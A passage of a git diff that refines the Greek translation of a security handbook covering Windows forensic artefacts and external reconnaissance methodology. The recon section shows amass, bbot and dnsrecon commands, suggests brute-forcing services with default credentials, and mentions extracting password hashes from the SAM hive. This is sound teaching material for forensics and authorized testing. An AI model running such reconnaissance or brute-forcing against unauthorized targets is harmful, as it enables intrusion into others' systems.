λογισμικό: +Εδώ μπορείτε να βρείτε ενδιαφέρουσες τεχνικές για συγκεκριμένους τύπους αρχείων και/ή λογισμικό: + {{#ref}} .pyc.md {{#endref}} + {{#ref}} browser-artifacts.md {{#endref}} + {{#ref}} desofuscation-vbs-cscript.exe.md {{#endref}} + {{#ref}} local-cloud-storage.md {{#endref}} + {{#ref}} office-file-analysis.md {{#endref}} + {{#ref}} pdf-file-analysis.md {{#endref}} + {{#ref}} png-tricks.md {{#endref}} + {{#ref}} video-and-audio-file-analysis.md {{#endref}} + {{#ref}} zips-tricks.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 08216183d..a981b4c03 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -38,15 +38,15 @@ ``` ![](<../../../images/image (495) (1) (1) (1).png>) -### Αντίγραφα Σκιάς +### Αντίγραφα Σκιάς Όγκου -Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή τόμων υπολογιστή, ακόμη και όταν είναι σε χρήση. +Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση. Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα: ![](<../../../images/image (94).png>) -Τοποθετώντας την εικόνα ψηφιακής εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. +Τοποθετώντας την εικόνα ψηφιακής ποινικής έρευνας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. ![](<../../../images/image (576).png>) @@ -73,9 +73,9 @@ Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο. -Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες τόμου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. +Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. -Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο χρησιμοποιήθηκε **πρώτη** **φορά** και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. +Επίσης, η **ημερομηνία δημιουργίας του αρχείου σύνδεσης** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/). @@ -96,7 +96,7 @@ ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -In this case, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. +Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. ### Jumplists @@ -122,8 +122,8 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία: -- Φακέλου Πρόσφατων Windows -- Φακέλου Πρόσφατων Microsoft Office +- Φάκελος Πρόσφατων Windows +- Φάκελος Πρόσφατων Microsoft Office - Jumplists Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE: @@ -150,7 +150,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα ### Καθαρισμός Plug and Play -Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. +Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. Η εργασία βρίσκεται στο εξής μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. @@ -181,7 +181,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα ### Windows Mail App -Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. +Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους μέσα στο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` @@ -196,7 +196,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα - `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. - `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) -Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο: +Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/παραληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` @@ -209,7 +209,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα ### Microsoft Outlook OST Files -Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορεί να χρησιμοποιηθεί ο [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). +Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). ### Ανάκτηση Συνημμένων @@ -241,14 +241,14 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου: -- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για πλοήγηση μέσω του μητρώου Windows της τρέχουσας συνεδρίας. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να πλοηγηθείτε μέσω αυτού με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την πλοήγηση μέσω του φορτωμένου μητρώου και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. +- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. ### Ανάκτηση Διαγραμμένων Στοιχείων -Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά. +Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά. ### Τελευταίος Χρόνος Γραφής @@ -256,12 +256,13 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα ### SAM -Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes κωδικών πρόσβασης χρηστών** του συστήματος. +Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης** του συστήματος. Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**. ### Ενδιαφέροντα στοιχεία στο Μητρώο Windows + {{#ref}} interesting-windows-registry-keys.md {{#endref}} @@ -278,7 +279,7 @@ interesting-windows-registry-keys.md ### BAM (Background Activity Moderator) -Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Δεδομένων του μητρώου). +Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου). ### Windows Prefetch @@ -288,7 +289,7 @@ interesting-windows-registry-keys.md Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή. -Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα. +Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **ανοιχτά** από το πρόγραμμα. Για να ελέγξετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash @@ -327,7 +328,7 @@ interesting-windows-registry-keys.md ``` ### AppCompatCache (ShimCache) -Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: +Ο **AppCompatCache**, γνωστός και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: - Πλήρης διαδρομή του αρχείου - Μέγεθος του αρχείου @@ -350,7 +351,7 @@ interesting-windows-registry-keys.md Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. -Για να εξαγάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: +Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε το περιεχόμενο του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` @@ -436,7 +437,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen - **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης. - **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket. - **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού. -- **0xC0000225**: Υποδεικνύει σφάλμα συστήματος αντί για πρόβλημα ασφαλείας. +- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας. - **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας. #### EventID 4616: @@ -449,7 +450,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen #### EventID 1102: -- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων. +- **Διαγραφή Καταγραφών**: Οι καταγραφές ασφαλείας διαγράφονται, γεγονός που συχνά είναι κόκκινος σημαία για την κάλυψη παράνομων δραστηριοτήτων. #### EventIDs για Παρακολούθηση Συσκευών USB: @@ -475,7 +476,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen #### Αλλαγή Χρόνου -Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας. +Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την εγκληματολογική ανάλυση. #### Παρακολούθηση Συσκευών USB @@ -487,6 +488,6 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen #### Διαγραφή Καταγραφών -Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας. +Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την εγκληματολογική ανάλυση. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index c6efbaae2..55a6c9659 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,8 +10,8 @@ 1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής. 2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία. -3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά). -4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά). +3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά). +4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά). ### **Εξαγορές** @@ -24,11 +24,11 @@ ### **ASNs** Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανάθεσης Αριθμών Διαδικτύου (IANA)**.\ -Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς. +Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να απαρτίζεται από αρκετούς φορείς. Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\ Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο. +**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανώς όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -51,18 +51,18 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` -Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης χρησιμοποιώντας επίσης [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\ -Μπορείτε να βρείτε το IP και το ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com). +Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης επίσης χρησιμοποιώντας [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\ +Μπορείτε να βρείτε το IP και ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com). ### **Αναζητώντας ευπάθειες** -Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\ -Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε πολλές πιθανές υπηρεσίες που τρέχουν.\ +Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **εργαλείο σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\ +Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που τρέχουν.\ **Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Τομείς -> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, ήρθε η ώρα να βρούμε τους τομείς εντός του πεδίου. +> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τους τομείς εντός του πεδίου. _Παρακαλώ σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομείς και αυτή η πληροφορία δεν θα πρέπει να υποτιμάται._ @@ -70,7 +70,7 @@ _Παρακαλώ σημειώστε ότι στις παρακάτω προτε ### **Αντίστροφη DNS** -Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις dns** σε αυτές τις **IPs για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8) +Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτές τις **IP για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον DNS server του θύματος ή κάποιον γνωστό DNS server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -78,12 +78,12 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\ -Μπορείτε επίσης να χρησιμοποιήσετε ένα online εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com) +Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com) -### **Αντίστροφο Whois (loop)** +### **Αντίστροφος Whois (loop)** Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες καταχωρίσεις whois όπου εμφανίζεται το ίδιο email).\ -Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως: +Μπορείτε να 